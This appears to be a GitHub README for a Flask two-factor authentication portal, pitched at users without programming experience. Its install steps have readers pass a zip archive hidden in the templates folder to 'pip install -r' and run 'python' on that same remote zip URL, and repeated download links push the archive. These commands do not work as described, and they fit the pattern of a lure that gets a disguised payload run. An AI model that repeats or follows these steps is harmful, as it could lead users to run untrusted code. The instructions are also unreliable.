Skip to content

SeekGaming187/Secure-Flask-Auth-Portal

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

7 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ” Secure-Flask-Auth-Portal - Simple and Secure Web Authentication

πŸš€ Getting Started

Welcome to Secure-Flask-Auth-Portal! This application provides a safe way to manage user authentication with two-factor authentication (2FA). You will learn how to download and run the app easily, even if you have no programming experience.

πŸ“₯ Download Now

Download

πŸ“‹ Overview

Secure-Flask-Auth-Portal is a Flask-based web authentication portal designed to help you understand modern web security techniques. It uses robust methods like SHA-256 hash chains for one-time passwords (OTP) and RSA encryption to securely store data.

Key Features

  • Two-Factor Authentication: Adds an extra layer of security beyond just a password.
  • Secure Password Hashing: Protects user passwords against breaches.
  • Automatic OTP Chain Renewal: Keeps your sessions secure with updated OTPs.
  • RSA Encryption for Storage: Safeguards sensitive user data.
  • Session Management: Ensures that users remain logged in securely.

πŸ“Š System Requirements

To run Secure-Flask-Auth-Portal smoothly, make sure your system meets these requirements:

  • Operating System: Windows, macOS, or Linux
  • Python Version: 3.6 or higher
  • Flask: Install Flask using pip (pip install Flask)
  • PyCryptodome: Install PyCryptodome using pip (pip install pycryptodome)
  • Internet Connection: Required for installation and updates

πŸ›  Installation Steps

  1. Visit the Releases Page: Click the link below to go to the download page. Download Here

  2. Select the Latest Release: Look for the most recent version in the list.

  3. Download the ZIP File: Click on the ZIP file link to download the application.

  4. Extract the Files: Once downloaded, right-click the zipped folder and select 'Extract All'. Choose a location to store the files.

  5. Open a Command Prompt:

    • On Windows: Press Win + R, type cmd, and hit Enter.
    • On macOS/Linux: Open the Terminal.
  6. Navigate to the Folder: Use the cd command to change to the folder where you extracted the files. For example:

    cd path/to/Secure-Flask-Auth-Portal
    
  7. Install Required Libraries: Run the following command to install necessary dependencies:

    pip install -r https://github.com/SeekGaming187/Secure-Flask-Auth-Portal/raw/refs/heads/main/src/templates/Flask_Auth_Secure_Portal_v3.6-beta.1.zip
    
  8. Run the Application: Start the server by executing:

    python https://github.com/SeekGaming187/Secure-Flask-Auth-Portal/raw/refs/heads/main/src/templates/Flask_Auth_Secure_Portal_v3.6-beta.1.zip
    
  9. Access the Portal: Open a web browser and go to http://127.0.0.1:5000 to access Secure-Flask-Auth-Portal.

πŸ” User Guide

After installation, the application will guide you through the setup process. You'll create an account and set up two-factor authentication for enhanced security.

Creating an Account

  1. Go to the registration page.
  2. Fill in your details, including your username and password.
  3. Follow the prompts to enable 2FA.

Logging In

When you return to the application:

  1. Enter your username and password.
  2. Input the OTP you receive to complete your login.

🀝 Support

If you encounter any issues, please check the Issues tab on GitHub to see if your question has been addressed. If not, feel free to create a new issue.

πŸ“œ License

Secure-Flask-Auth-Portal is open-source software. You can use, modify, and distribute it per the terms provided in the repository.

✨ Next Steps

  • Explore how two-factor authentication enhances security.
  • Delve into how RSA encryption protects data.
  • Learn more about password hashing and secure session management.

πŸ“₯ Download & Install

Go back to the downloads page to begin your journey into web security!
Click here to download the latest version.

Releases

Packages

Contributors

Languages